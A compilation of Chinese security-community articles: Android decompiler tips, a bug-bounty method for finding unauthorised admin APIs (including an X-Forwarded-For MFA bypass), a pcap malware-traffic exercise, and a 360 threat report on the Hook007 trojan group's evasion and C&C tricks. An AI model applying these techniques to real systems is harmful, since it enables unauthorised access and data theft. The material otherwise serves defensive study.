而jd-gui反编译工具的使用方法，可直接将jar文件拖到工具中，会自动进行反编译出源码进行查看
**jd-gui下载地址：**<http://java-decompiler.github.io/>
### 工具推荐
以上就是传统的Android反编译流程，若想具体了解过程，可通过上述流程进行自我复现。
而在Android逆向的实际应用中，个人比较推荐 **Android killer** 与 **jadx-gui** 这两款工具
1. **Android killer：** 是集 **Apk反编译** 、 **Apk打包** 、 **Apk签名** ， **编码互转** ， **ADB通信** （应用安装-卸载-运行-设备文件管理）、 **源码查看** 等特色功能于一身，支持logcat日志输出，语法高亮，基于关键字（支持单行代码或多行代码段）项目内搜索，可自定义外部工具；吸收融汇多种工具功能与特点，是一款可视化的安卓应用逆向工具。
2. 可以说在Android逆向，这款工具可实现上述反编译流程一把梭，这大大节省了操作时间，也提高了我们的效率。
3. 4. **AndroidKiller下载地址：**<https://down.52pojie.cn/Tools/Android_Tools/AndroidKiller_v1.3.1.zip>
5. **jadx-gui：** 是一款可以将apk，dex，aar 和 zip 文件将 Dalvik 字节码反编译为 Java 类的JAVA反编译工具。
6. 而它是支持apk、dex、aar、zip等格式，所以我们在使用过程中，可直接将待测apk拖入的工具中，会自动执行反编译
7. 8. **jadx-gui下载地址：**<https://down.52pojie.cn/Tools/Android_Tools/jadx_v1.3.4.zip>
## Android逆向概述
ok，基本的知识框架体系已经啰嗦完了，现在开始我们的重点——Android逆向。
### 什么是Android逆向呢？
**官方话语：** Android逆向是对已经打包好的APP进行反编译、源码分析了解APP实现逻辑的一门技术。
**通俗理解呢:就是玩具（** app **）经过零件组装** （源码编译） **、加工刷漆** （打包、签名）
**生成成品的逆过程。我们把成品的app，再将它打回零件形态——源码，通过更改它的零件** （代码） **，再进行重组装** （重编译）
**，使它可以飞天、遁地等等** （改变运行逻辑）
当然，这里的更改零件，指的可不是app的源码，而是经反编译后的 **smali代码** 。
而在实际应用中，我们逆向的话，需要用到解密、反编译、解压缩等技术，想要100%还原APK的源码几乎是不可能的，所以在实际进行逆向分析的时候，一般都是根据想实现的目的，分析出APK的部分源码和实现逻辑，然后对这一部分源码进行修改后与原始的APK打包在一起，这样就获得了一个实现自己特定目的的APP。
## 总结与思考
以上文章就介绍的到这里,读到这里可能你们都觉得本篇涉及逆向的知识点并不多，而我也说过，了解Android逆向，要先了解Android，之所以这样说呢，是因为Android逆向的学习，最终还是要归到Android本身，有了前面的了解，相信会对接下来Android逆向分析上有着很大帮助。
后面要讲的就是逆向分析的手段以及具体流程，实践与理论结合的边练边学了，大家可以自己针对Android应用程序的反编译流程操练一番，备好工具，下一篇开搞。 | 社区文章 |
**作者：leveryd
原文链接：<https://mp.weixin.qq.com/s/mnHGLZ_e3tWkxCL-DPAAvQ>**
# 背景
以前挖国内src时的一个套路：
通过"寻找管理后台 + 寻找api接口 + burp验证api接口"来找未授权api
找到未授权api后，根据api功能就能造成不同危害：
* 比如利用"重置密码接口"来重置管理员密码，然后登陆后台
* 比如利用"查数据接口"获取数据
个人觉得这个套路比较好用，原因在于：
* 没有攻击payload，waf、nids等安全设备比较难检测（虽然可能按照访问404频率和比例等特征封禁）
* "管理后台对外开放"和"api接口未授权访问"，个人感觉这两个风险在企业里很难靠"技术手段"完全杜绝
* 大部分检测工作可以用工具完成
也有不好的地方，在于：
* 整个流程没有完全自动化，需要人工做重复性的事情，比如判断是否是管理后台
# 详细过程
* 怎么找"管理后台"？
大概分三步：
* 第一步筛出可能的管理后台地址
* 第二步将首页截图保存成本地
* 第三步人工浏览截图
第一步筛选管理后台地址的策略包括：
* 域名中包含关键词，直接当作后台管理系统
* 30x跳转地址包含关键词
* 响应html中包含table标签（因为有可能后台管理首页就存在未授权访问，数据展示时会用到table标签）
* 判断页面是否是vue框架写的（因为很多开发喜欢选择用vue来做管理系统）
脚本片段：<https://gist.github.com/leveryd/334b719e253261ffd0abfd161e499ae7>
* 怎么找api接口？
从js文件文本中找，策略如下：
* 将js代码中字符串常量提取出来
* 字符串常量匹配 `/[\w\d\-./]+` 且不以 // 字符开头，认为是api路径
* 字符串常量匹配 `[\w\d\-]+/[\w\d\-./]+` 且不以 / 字符开头，认为是api路径
脚本片段：<https://gist.github.com/leveryd/465d19610d5fcf99199beb9284cd6f8c>
这种方式不需要前端存在sourcemap泄漏。
当然如果前端有sourcemap信息就更好，这样可以利用 [利用sourcemap还原前端项目-浏览器插件](https://github.com/SunHuawei/SourceDetector)
这种工具还原前端项目，代码阅读性更好一些。接着对前端项目做代码审计，有可能在前端代码中看到 啥token、啥功能比较特殊的api接口（比如上传文件）。
* 怎么使用burpsuite验证api接口？
将找到的api接口放到burpsuite批量验证，根据 响应状态码、响应长度、响应内容 来判断是否有未授权的api接口。
测试过程中可以变换请求方法：GET、POST、PUT
确认存在未授权接口后，再人工从前端js中找参数值利用。
# 成果
* [评级高危-顺丰某系统后台API接口未做认证导致用户信息泄漏]
* [评级高危-顺丰某系统未授权导致获取后台管理权限，可查看大量订单信息]
* [评级高危-字节某业务线后端接口未授权访问]
* [评级中危-腾讯广告后台接口未认证]
* [评级低危-后台API接口存在未授权访问(可增删改数据)]
# 安全管理与技术
对于"管理后台对外开放"和"api接口未授权访问"这两类风险，在企业安全建设中是怎么防范的呢？
* 怎么减少"管理后台对外"安全风险？
根据个人有限的经验来总结，管理上包括如下手段：
* 公司发布安全红线：禁止后台开放到公网访问
* 安全意识的宣导
技术上包括如下手段：
* 统一认证登陆
* 周期性对资产做扫描，识别"管理后台"
* 从流量层面识别"管理后台"
业务上包括如下手段：
* 后台访问白名单限制
* 后台登陆多因素认证MFA（短信二次认证、rsa token等）
比如能看到的，滴滴很多后台管理业务都接入了统一认证登陆，对于我来说就比较难进一步测试。
不过上面的手段都并不一定管用，各种手段自身也有设计缺陷、安全漏洞等。
比如我前公司的统一认证平台
[统一认证登陆](https://passport.fangdd.com/public/login?url=https%3A%2F%2Fpassport.fangdd.com%2Fpassword%2FresetingPage.do%3Bjsessionid%3D88F109354741F07D5ED2004B1BB5E35C-n1)
出现过一个设计上的漏洞。
正常的业务场景是：它支持钉钉登陆，员工在web页面输入邮箱后，钉钉app会收到一个确认登陆链接。员工点击确认链接后，web端就会验证通过，进入到后台系统。
有白帽子收集一些部分员工邮箱，就在web页面填收集到的邮箱。结果有部分员工点击了钉钉上收到的"确认登陆链接"消息，帮助"攻击者"进到了后台系统。
另外还听我同事给我分享的案例，他遇到某些有多因子认证的系统时，加x-forwarded-for请求头伪造内网ip就绕过去了，原因是面向内部的系统去掉了"多因子认证"。
至于安全意识的宣导、安全红线到底有多大作用，这感觉更不好衡量。
* 怎么减少"api接口未授权访问"安全风险？
根据个人有限的经验来总结，技术上包括以下手段：
* 依赖开发人员的代码安全质量
* 零信任架构的实施
零信任应用的两个场景包括了 用户访问服务 和 服务之间互相访问 时的认证鉴权，而"用户登陆后台访问数据"恰好就是"用户访问服务"这个场景。
# 总结
验证了这个老套路在国内还是能挖到洞的。
站在攻击方的角度来看，现有每一步的安全策略可以优化，比如可以详细调研一下后台系统的分类，比如为什么开源的cms后台和前台经常是在一个域名下，而企业里的后台系统为什么经常是单独的访问方式？
整个流程或许也可以优化到完全依赖工具产出报警，就像
[一种针对Webpack等前端打包工具构建的网站的自动化测试思路（附开源项目）](https://www.hackinn.com/index.php/archives/744/)
一样。虽然没有用过这个项目，但是看文章介绍感觉有不少实战上的细节和经验。
* * * | 社区文章 |
# pcap workshop Learning Part 1
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
链接：<https://pan.baidu.com/s/1rH2jLScXAFST8OXDd_C6ng>
提取码：anq6
## 2017-03-25-traffic-analysis-exercise
打开流量包，看到了http的流量。我们其实能直接去看http流量的。但是还是先通过三板斧来分析该流量包吧。
存在dns,tcp,http,tls协议。
在对话中的tcp中发现了异常多的Packets
那么我们跟进并追踪一下这个tcp流（这里为什么要这么麻烦的去看这些东西呢，以为这个数据包的流量比较大，有近10000个数据流左右，不能遍历去找数据流，我们要理智地去分析）
## 木马文件
MZ开头的文件，很明显是一个exe文件+一个php文件这里Content-Type显示为
image/png。是非常奇怪的一个点。（因为这是一个响应数据包，服务器居然返回了一个假的Content-type）。可以看出操作者应该在访问木马文件。
我们先对这个php中的代码进行还原。
因为我没有使用linux系统且目录中存在汉字，导致脚本运行出错。这里我输出一下。
最后发现这个脚本从C://users/开始遍历了所有文件！然后进行了写文件和重命名的操作，害怕，不敢运行，以后有了win虚拟机就来运行。
然后我们来看一下另外一个exe文件。先把win Defender打开。然后（害怕）打开1.exe文件。果然，d=====(￣▽￣*)b。文件被删掉了。
我们来看一下win defender怎么评价它。
然后通过foremost 对这个文件进行分离得到了三个gif图，dll文件和exe文件。
再通过strings进行分析dll文件。猜测这是一个php文件在通过zend进行加密后的exe文件。（猜测为之前分析过的php文件）
那么提示就是通过dezend来解密之前进行加密过的php文件。 （我只想说这么短的代码我都手动还原了）
导出文件后通过shasum命令拿到病毒样本hash值并进行搜索。
shasum -a 256 1.exe
那么逐渐远离了主题——流量分析了。我们回到正题。继续看wireshark。
## 导出对象
一般要根据文件的大小来进行排列（越大的文件越可疑）。第一个文件就是我们之前分析的exe文件，第三个是php后门文件，还有两个是结果输出文件。后面就是几个证书和没用的文件了。
## 解析
### 1.时间信息
从第一个数据包的发出到最后一个数据包的时间为
### 2.Server name and ip
解析中有一个我没找到的信息(unusual Server and the ip of it)：
然后我就模仿这位师傅进行了列名添加服务器名和请求uri的操作。具体设置：
现在来看就清晰了许多。（后面请自己根据过滤器添加列）
### 3.tls解密
然后它对这个流量包进行了tls的解密。在流量包中找到了国家和其他的一些信息。这里为什么之前我没有解出这个tls流呢（文件里没给我 Key Log
File）后来去网上查到了这个key file。解密后：
通过过滤器查，标红的以及后面的大部分流量包都是解密后的结果。
http.request or tls.handshake.type eq 1
只不过解密后的内容还是经过未知加密方法的数据。
### 4.country信息
在解密后的tls数据流中，仔细观察可以看到US,Manchester等字符串。
将其作为列进行过滤，方便查看。
然后，对这个流量包的分析就到这里了。如果有大师傅还有别的看法可以联系我一起学习。
## 参考链接：
<https://unit42.paloaltonetworks.com/wireshark-tutorial-decrypting-https-traffic/>
<https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/> | 社区文章 |
# 007黑客组织及其地下黑产活动分析报告
|
##### 译文声明
本文是翻译文章，文章来源：360追日团队
译文仅供参考，具体内容表达以及含义原文为准。
摘 要
²最早可以追溯到2007年开始进行制作并传播恶意代码等互联网地下产业链活动,一直活跃至今。
²制作并传播的Hook007类样本HASH数量达到17万个,相关恶意代码云查询拦截次数达到1.3亿次,相关恶意代码主要以后门和盗号程序为主。
²主要针对中国用户,累计受影响用户超过千万,单就Hook007家族统计近一年被感染用户达到50万。
²相关初始攻击主要依托即时通讯工具(QQYY等)采用社会工程学方法进行对特定对象进行攻击;相关攻击对象主要为网络游戏玩家等普通网民,另外对教育、金融领域有几次针对性攻击。
²进一步攻击方式主要是将恶意代码伪装为图片、文档等发送给特定对象,另外是制作虚假游戏平台网站,网站提供伪装游戏平台(game456等)安装包的恶意代码。
²该组织持续与安全厂商进行对抗,至少针对包括360在内的3款国内安全软件,以及卡巴斯基、比特梵德等国外相关安全产品采取过针对性技术措施,对抗行为最早可以追溯到2008年。对抗手段从实体文件到通信协议进行相关对抗,主要针对本地静态扫描、云查杀、主动防御策略和网络层等环节的检测。另外值得注意的是该组织成员会主动将恶意代码上报给安全厂商,目的是申请将恶意程序添加白名单或者探测安全厂商检测机制。单就Hook007这个家族,我们对相关产品进行了多次升级或检测策略调整。
²该组织主要以窃取用户数据、互联网资源与服务滥用进行牟利。经过推算作者单就Hook007这一种远控,每年至少获利超过百万。另外通过窃取用户数据和虚拟财产,造成每年普通网民财产损失逾千万元。Hook007这条地下产业链获利总额已经过亿。
²该组织相关成员分工明确,从制作恶意代码到最终获利组成了一条完整的地下产业链。主要包含制作恶意代码、传播、更新、获利等环节。
目 录
第一章存在若干年的地下产业链活动… 1
一、关于007组织的产业链…. 1
二、影响范围最大的地下产业链…. 2
三、攻击目标…. 2
四、攻击时间(变化趋势)…. 3
五、牟利…. 3
六、用户反馈…. 5
第二章攻击手法分析… 8
一、典型攻击流程…. 8
二、恶意代码传播…. 9
三、持续对抗…. 12
四、制作和更新…. 16
第三章该组织使用的C&C. 22
一、C&C分类…. 22
二、依托第三方平台中转…. 22
第四章幕后始作俑者… 24
附录1 Hook007家族样本分析报告… 25
附录2 007组织涉案金额估算… 25
附录3 C&C. 26
附录4 MD5值… 27
第一章存在若干年的地下产业链活动
一、关于007组织的产业链
我们从2011年开始发现Hook007家族恶意代码,通过我们的持续监控和分析,幕后庞大的黑客组织逐渐浮出水面,我们将该组织命名007组织。该组织最早从2007年开始进行制作并传播恶意代码,窃取用户数据、虚拟财产等互联网地下产业链活动,一直活跃至今。这是我们目前捕获到的影响范围最大,持续时间最长的地下产业链活动。
以007组织为主的地下产业链主要涉及商品是技术服务和恶意代码,该组织的核心商品是Hook007远程控制恶意代码,进一步主要包含制作恶意代码、传播、更新、获利等环节。Hook007远程控制是该组织独立开发并进行持续的更新维护。007组织具备严密完整的组织结构,其中核心成员主要为开发和一级代理销售,目前我们能明确掌握的是通过恶意代码这种商品的交易是该组织牟利的主要手段之一。相关恶意代码传播到最终通过窃取用户数据进行牟利这一环节我们可以确定是该地下产业链的一部分。
图 1消费者与生产者基本关系
007组织涉及的地下产业链中主要还是充当卖家(生产者)的角色。从下图商品分类中,可以看出007组织涉及的商品主要为恶意代码(远控、免杀等工具)和提供相关技术服务。另外该地下产业链中其他环节会包括数据信息、权限、漏洞等商品,但不是007组织主要涉及的商品类型。
图 2地下产业经济链体系中商品分类
二、影响范围最大的地下产业链
007组织相关攻击活动最早可以追溯到2007年,从2011年开始非常活跃。制作并传播的Hook007类样本HASH数量达到17万个,变种数量达到66种,相关恶意代码传播达到1.3亿次。另外我们近三个月捕获到该家族的免杀器版本已超过上百个,购买用户超过600个。该组织的相关攻击活动主要针对中国用户,累计受感染用户超过千万,单就Hook007家族统计近一年被感染用户达到50万。
该组织在攻击成功后会通过远程控制强行阻止用户操作游戏,并直接将用户的虚假财产、游戏装备进行交易转给盗号者帐号。另外该组织一直与安全厂商进行持续的对抗,从静态查杀、动态检测到网络不同层面进行躲避和对抗。
这是我们历年来捕获到的影响范围最大,持续时间最长的地下产业链活动。
三、攻击目标
通过我们的研究分析可以得出,007组织主要针对中国地区的用户,其中主要关注网络游戏玩家等普通网民。
另外对教育、金融领域有几次针对性攻击:
相关恶意代码原始文件名
---
2015证券数据-验证.exe
2015年注册化工工程师-验证.exe
2015年重庆市社会工作员职业水平考试.exe
2015年执业医师(临床).exe
2015年山东地区第三季度会计从业.exe
2015江苏第四季会计从业-部分验证.exe
2015cpa注册会计师数据-验证.exe
15年造价工程师-验证.exe
15贵州会计从业数据.exe
15高级职称考生报名.exe
表1相关恶意代码原始文件名
相关统计项
|
具体内容
---|---
开始时间
|
2014年10月10日
结束时间
|
2015年10月10日
被感染用户数量
|
500559个
恶意代码数量
|
161581个
表2 Hook007家族感染情况统计
图 3近一年受Hook007家族影响的用户数量
四、攻击时间(变化趋势)
图 4恶意代码更新记录
上图是我们就Hook007家族变化趋势的记录,每个时间点都是Hook007家族新增变种或者相关攻击方式或资源有重大变化的记录。
007组织相关攻击活动最早可以追溯到2007年,而从2011年开始Hook007家族开始影响比较广泛,可以看出在2014年到2015年期间Hook007版本更新迭代非常频繁。
五、牟利
(一)恶意代码
恶意代码的制作和更新维护是007组织的核心业务。进一步相关类型主要是木马生成器、免杀和一些定制木马。作者每年单就Hook007这一种远程控制恶意程序获利就已超过百万。下图是我们截获的该组织相关恶意程序的报价单。
图 5 007组织相关恶意代码报价单(更新时间为2010年7月)
我们近三个月捕获到该家族的免杀器版本已超过上百个,购买用户超过600个。下图是购买相关恶意程序的地下产业链成员的分布情况,可以看出以广东省最多,其次是河南和山东省。
图 6购买Hook007远控的地下产业链成员分布(最近三个月数据)
(二)窃取用户数据
Hook007远程控制主要功能就是攻击者可以完全控制受害者的机器,攻击者可以下发任意控制指令。从我们收到的大量被感染Hook007木马的用户反馈中可以得知,该组织在攻击成功后通常会通过远程控制强行阻止用户操作游戏,并直接将用户的虚假财产、游戏装备进行交易转给盗号者帐号。也就是主要以窃取用户虚拟货币、网游装备来进行牟利。通过窃取用户数据和虚拟财产,造成每年普通网民财产损失逾千万元。
(三)其他
DDOS:该组织成员有开发如“毁灭者DDOS”等DDOS工具,由此我们怀疑除了工具的开发,相应地下产业链可能有涉及相关DDOS攻击业务。
恶意推广:通过我们监控发现,该组织在控制受害者主机之后,可能会远程控制下载执行推广包,通过安装量来达到牟利的目的。
六、用户反馈
我们从第三方平台和360论坛等平台收到大量用户反馈,相关反馈主要集中在已经造成用户财产损失的用户求助信息。
以下是一些典型用户反馈的截图和链接:
图 7用户反馈截图1
参考链接:[http://china.findlaw.cn/ask/question_1720116.html](http://china.findlaw.cn/ask/question_1720116.html)
图 8用户反馈截图2
参考链接:[http://bbs.open.qq.com/thread-7593006-1-1.html](http://bbs.open.qq.com/thread-7593006-1-1.html)
图 9用户反馈截图3
参考链接:[http://bbs.360safe.com/thread-3943057-1-1.html](http://bbs.360safe.com/thread-3943057-1-1.html)
图 10用户反馈截图4
参考链接:<http://bbs.360safe.com/thread-6119441-1-1.html>
第二章攻击手法分析
一、典型攻击流程
(一)基于即时通讯工具
图 11典型攻击流程(基于即时聊天工具)
具体攻击步骤:
a、攻击者首先依托游戏平台进行“喊话”或发站内信,以出售、收购或交换游戏装备的名义发送虚假消息,并留下QQ号。
b、受害者通过游戏平台了解到攻击者发送的消息,如果受害者不知情则有可能添加攻击者联系方式,主动联系攻击者。
c、进一步攻击者通过QQ等即时聊天工具进一步获取受害者信任。
d、当攻击者取得受害者一定程度信任后,攻击者会将木马文件伪装成“装备图片”等发送给受害者,受害者接收执行后则被植入相关后门木马,被攻击者控制。
e、远程控制玩家电脑,锁定计算机的键盘、鼠标,或设置屏幕黑屏。并短时间内将玩家的游戏装备,金币交易给盗号者的帐号。
(二)基于假冒网站
图 12典型攻击流程(基于假冒网站)
具体攻击步骤:
a、攻击者首先制作假冒网站,这里主要是假冒如game456类游戏平台网站,同时会制作相应虚假的恶意安装包程序。最终假冒网站上的下载链接会指向这个虚假安装包程序。
b、进一步攻击者需要让相应用户访问假冒网站,主要途径是通过搜索引擎和基于即时聊天工具等平台。攻击者会使用付费推广等方法,使得相关假冒网站在搜索某些关键字的时候,可以优先呈现在搜索结果中。
c、受害者从搜索引擎搜索出或者从聊天工具中收到相关假冒网站链接,并点击打开假冒网站,则有可能下载相应虚假安装程序。假冒网站制作的与正常官方网站从外观看基本一致,用户很难辨别真伪。另外相关游戏平台官方网站或者安装包的来源是否为官方源本来就没有清晰明确的提示,所以用户从搜索结果中很难识别哪些是可信,那些是恶意的。
d、当受害者下载并执行了虚假安装包,则操作系统会被攻击者控制。
e、远程控制玩家电脑,锁定计算机的键盘、鼠标,或设置屏幕黑屏。并短时间内将玩家的游戏装备,金币交易给盗号者的帐号。
注:
以上是主流的攻击流程,一些非主流攻击流程没有具体展开。如利用邮件附件传播、挂马传播等传播方式,DDOS攻击,在受害主机上下载执行推广包等获利模式等。
二、恶意代码传播
恶意代码的传播方法主要集中在依托即时通讯工具和网站。其中以依托即时通讯工具这种方式占主流。
(一)即时通讯工具
攻击者主要依托即时通讯工具进行恶意代码传播,从目前捕获到的情况主要分为直接发送PE可执行程序,另一种是QQ群共享。该方法针对性强,但也容易被受害者感知到。
图 13通过QQ传播的文件形态示例
图 14通过YY传播的文件形态示例
由于Windows系统默认是不开启显示后缀和隐藏文件的。所以受害者们接收到这些文件压缩包解压后,发现木马文件里面只含有“BMP格式”的图片(实则是指向病毒程序的快捷方式),而真正含有恶意代码的文件则被隐藏起来
(二)网站
1)假冒游戏平台网站
攻击者会搭建虚假的游戏平台,并通过搜索引擎、弹窗等手段推广。假冒的游戏平台网站与官方网站外观一致,受害者很难分辨真伪。攻击者会将虚假的恶意安装包放置到假冒的网站上,当用户访问网站下载并执行相应虚假安装包则会被攻击者控制。
下图是我们在某知名搜索引擎上搜索凤凰山庄的搜索结果。可以看到,第一页的两条推广结果为假冒的网站。
图 15“凤凰山庄”搜索结果
图 16假冒凤凰山庄网站(左),凤凰山庄官网(右)
上图假冒凤凰山庄和官网的对比截图,我们可以看出除了网址不同,其他页面外观均一致。很难分辨真伪。
攻击者不是单一选择一款游戏平台进行假冒伪装。我们可以从下表看出,攻击者假冒了很多游戏平台。具体参看下表:
假冒游戏平台名称 | 虚假恶意网站 | 备注说明
---|---|---
199游戏 | |
235游戏中心 | game235.top |
883XX游戏中心 | game88369.com.cn |
| www.game88369.gyemw.com |
| www.game88369.zxshy.com |
| www.game88369.nmqzx.com |
| www.game88369.yjfjn.cn | 该系列其他名称还有
| www.ycttcy.net | 88370-88381,总共12个
K7豫游游戏中心 | qipai007.aliapp.com |
凤凰游戏山庄 | fhgame.sdforging.com.cn |
| tlwt1258.cn |
| vikodrive.cn |
| fhgame.sdforging.com.cn |
汉游天下安装包 | shlvxun.gamr89.com |
集结号游戏中心 | www.jjhggame.com |
建德游戏 | www.byjd571.net |
宁波游戏大厅 | www.nbgame.org |
四川游戏家园 | 28qp.com.tw |
天妃游戏 | |
网狐游戏家园 | foxuc.com.cn |
| foxuc.com.tw |
襄阳同城游戏 | 0710yx.aliapp.com |
| www.hnzcs.com |
| 0710yx.xmwwy.com |
| cng.minsun.cc |
| 07l0yx.co |
| 07l0.gamr89.com |
| 0710yx.yksyx.org |
| 0710yx.asia |
云海游戏 | yunhai78.07l0yx.co |
众安棋牌89游戏中心 | fjtu123.gamr89.com |
| www.ftqp888.com |
2)官方网站安装包被替换表 3假冒游戏平台网站列表
我们捕获到从某些游戏平台官方网站下载的安装包被替换为包含恶意代码的虚假游戏平台安装包。
进一步我们分析官方可信网站存在恶意虚假安装包这种情况,可能由以下两种情况导致:
第一、相关官方可信网站被攻陷,正常安装包被攻击者替换;
第二、官方可信网站的相关工作人员可能刻意替换放置恶意虚假安装包。
从我们的分析来看,更倾向于第一种情况。下面是凤凰游戏山庄网站存在恶意虚假安装包的情况:
凤凰游戏山庄官方网站
---
时间
|
2015-09-15 19:03:20
父页面
|
http://game.fhgame.com/download.html
下载URL
|
http://down.fhgame.com/fhgame/FHGameLobby/FHGameLobby.exe
恶意文件MD5
|
ef749aecd9a292cd0c6873840d6f9115
表4被替换恶意虚假安装包具体信息
三、持续对抗
该组织持续与安全厂商进行对抗,至少针对包括360在内的3款国内安全软件,以及卡巴斯基、比特梵德等国外相关安全产品采取过针对性技术措施,对抗行为最早可以追溯到2008年。对抗手段从实体文件到通信协议进行相关对抗,主要针对本地静态扫描、云查杀、主动防御策略和网络层等环节的检测。另外值得注意的是该组织成员会主动联系安全厂商,目的是申请将恶意程序添加白名单或者探测安全厂商检测机制。单就Hook007这个家族,我们对相关产品进行了多次升级或检测策略调整。以下将从静态查杀、动态检测、网络监控和探测厂商检测,这四个方面逐一展开相关对抗手法的介绍
(一)静态查杀
图 17静态查杀对抗相关发展变化趋势
从上图可以清晰看出Hook007在静态查杀相关对抗发展历程,如字符串从明文更新到加密字符串,最后为无字符串特征。
早期的Hook007家族是通过暴风白利用,然后再扩展到其他厂商(如迅雷等)白文件利用。所谓“白利用”通常指的是病毒利用正规厂商的正常程序作为掩护,通过这些程序在判断逻辑上的一些缺陷利用其加载木马作者的提供的恶意代,用以逃避安全软件的查杀。最近一段时间,该族系木马则改为利用微软的rundll32.exe文件运行含有恶意代码的dll文件。
(二)动态检测
1)使用特殊浮点指令bypass虚拟机查杀
2)LDTDetect:检测LDT基址位于0x0000时为真实主机,否则为虚拟机
3)GDTDetect:检测GDT基址位于0xFFXXXXXX时说明处于虚拟机中,否则为真实主机
4)VMwareDetect:检测VMware特权指令来检测虚拟机
5)起初是自启动,之后进一步更新为一次性
6)逐渐阉割Gh0st后门敏感功能
(三)网络监控
1)使用3322上线->其他动态域名->顶级域名->直接ip->微博,网盘中转
2)Gh0st上线协议->修改协议头->逐渐修改成无特征协议
图 18恶意代码与服务器通信变化趋势
(四)探测安全厂商检测机制
为了木马能更有效的避免安全厂商检测,该组织成员有主动提交相关样本,来探测安全厂商检测机制的活动。
攻击者探测的方式主要通过给安全厂商样本上报邮箱发送邮件和通过安全厂商官方论坛反馈问题和样本。下图是攻击者给比特梵德、卡巴斯基和360安全厂商发送的探测邮件截图。
图 19攻击者探测(通过邮件1)
图 20攻击者探测(通过邮件2)
被探测的厂商
|
相关被探测的邮箱地址
---|---
比特梵德
|
sample <[email protected]>
卡巴斯基
|
newvirus <[email protected]>
360
|
opensoft <[email protected]>
表5被探测相关安全厂商列表
下面两张图片是该组织在2013年12月和2015年9月分别提交的两个贴,均提交到360论坛问题反馈子板块。
图 21攻击者探测(通过论坛反馈1)
参考链接:[http://bbs.360safe.com/thread-3248178-1-1.html](http://bbs.360safe.com/thread-3248178-1-1.html)
图 22攻击者探测(通过论坛反馈2)
参考链接:<http://bbs.360safe.com/thread-6202909-1-1.html>
四、制作和更新
007组织在开发的恶意代码工具种类比较多,其中以给力远程控制工具和给力免杀器为主。而相关更新维护则主要是针对Hook007家族进行相关更新。
(一)007相关恶意软件
图 23 Hook007相关恶意软件种类
从上图我们可以看出007组织会涉及到制作或传播给力免杀、给力远控、盗号木马、DDOS、漏洞扫描、下载者和其他远控,其中给力免杀和给力远控是007组织主要开发和维护的工具。
以下主要是该组织核心成员开发的相关工具的截图。作者在工具上都会留下自己的昵称(早期为小寡妇007,后期主要是Hook007)和QQ号(24585329)。
图 24 remote007工具截图
图 25大牛B下载者生成器截图
图 26阿凡提远程控制软件截图
图 27毁灭者DDOS界面
图 28相关捆绑工具截图
(二)Hook007远程控制(给力远控)
我们一直持续跟踪监控的Hook007家族,其生成器作者命名为“给力”远控。
图 29给力远程协助工具
图 30给力远程协助工具登录验证工具
图 31给力免杀器
(三)Hook007远程控制迭代更新
该组织制作的恶意代码主要以伪装图片或文档,虚假安装包这两种形态,这两种最终后门程序均为Hook007家族,是基于Gh0st进行修改的版本。
图 32恶意代码更新记录
Hook007家族主要更新变化趋势
2012
年之前,Hook007家族,还是原始版本的Gh0st远控,启动参数带有Hook007,fuck360,fuck007等,通过不同的启动参数,决定木马执行安装流程还是远控流程。
2012年中旬,基于开源远控协议,大约每两三天发一批新域名的木马。IP由域名解析得到。
2012年底,基于开源协议进行小幅度变种。大约每两三天发一批新域名的木马。IP由域名解析得到。
2013年中旬,基于开源协议进行大幅度变种,需通过大数据分析捕获协议特征。大约每天发一到两批新域名的木马。IP由域名解析得到。
2013年中下旬,基于开源协议,针对360监控模式,加入混淆数据,大约每天发三到四批新域名的木马,IP由域名解析得到。
2014年初,基于开源协议加入迷惑性数据,伪造成其他常见数据协议,难与主流协议区分。无新域名,采用直接访问IP,大约每天发七到八批新IP的木马。
2014年中旬,网络协议为自定义协议,同时伪造成其他常见数据协议,通过第三方平台网站的自定义内容跳转到制定IP,大约每天发六到七批新木马。
2015年初,网络协议为自定义协议,直接请求IP,如果无法上线,再通过第三方平台网站的自定义页面查找新IP,约每半小时一批新IP木马。
2015年中下旬,更新自定义协议,直接请求IP,如果无法上线,再通过第三方平台网站的自定义页面查找新IP,约每半小时一批新IP、新协议木马。
第三章该组织使用的C&C
一、C&C分类
该组织出现使用的C&C(Command and
control,通信控制)非常多,相关域名、IP也是分工明确。我们大概从C&C功能的角度分析出相关C&C的种类:
1)直接连IP
2)连攻击者所持有的域名,进一步解析域名指向IP
3)连接腾讯微博,解析页面中IP
4)连接永硕E盘,解析页面中IP
5)验证或更新的IP:专用于后门更新的服务器。
6)伪造游戏平台网站的域名和IP
另外在本报告“第三章
攻击手法分析”中“三、持续对抗”章节,我们已经介绍了攻击者在网络层面是如何进行持续对抗的,也就是下图可以看出攻击者在选择C&C的变化趋势。
图 33恶意代码与服务器通信变化趋势
二、依托第三方平台中转
下面两个图是永硕E盘和腾讯微博获得上线IP的具体截图:
图 34利用永硕E盘获得上线IP
图 35利用腾讯微博获得上线IP
下面两个截图是攻击者用来解析腾讯微博上线IP地址的工具,和该工具相关代码截图。
图 36解析微博、网盘工具
图 37微博IP查询器相关代码截图
第四章幕后始作俑者
007组织相关成员分工明确,从制作恶意代码到最终获利组成了一条完整的地下产业链。主要包含制作恶意代码、传播、更新、获利等环节。
从目前我们已知的数据来看,该组织相关成员主要分布在湖北、山东和广东三个地区。
图 38 007组织架构
007组织主要以Hook007(嫌疑人01)为主,Hook007和另一名嫌疑人02是主要开发人员,开发的恶意软件以Hook007远控(给力远控)为主。另外Hook007与黑友(又名黑色经济,嫌疑人08)在早期就有相关业务合作,黑友的角色与广东熊二(嫌疑人06)相似。相关更新维护工作主要围绕Hook007远控展开。以Hook007远控为主的恶意软件会提供给山东相关同伙和广东同伙,其中以广东的熊二为主。以广东熊二为例,熊二作为代理商的角色会将相关远控工具在提供给其他下级买家。
进一步后续会有专人负责传播恶意代码和相关窃取用户数据、恶意推广。由于相关传播过程需要社会工程学欺骗受害者,以及需要与受害者多次交互,所以我们推测相关传播恶意代码的人员和窃取用户数据的人员会有重叠的情况。最后相关人员将窃取的数据信息通过第三方网络游戏交易平台或其他渠道进行交易,最终达到获利。
另外值得我们注意的是广东相关同伙的上家除了Hook007,还有其他组织提供大量的恶意程序。另外山东同伙涉及Android木马(以短信拦截马为主)的相关业务。
1 Hook007家族样本分析报告
具体请参看:
1、“罪恶家族——Hook007木马”,[http://blogs.360.cn/blog/Hook007_trojan/](http://blogs.360.cn/blog/hook007_trojan/)
2、“罪恶家族Hook007之潜伏篇”,<http://blogs.360.cn/blog/hoook007/>
2 007组织涉案金额估算
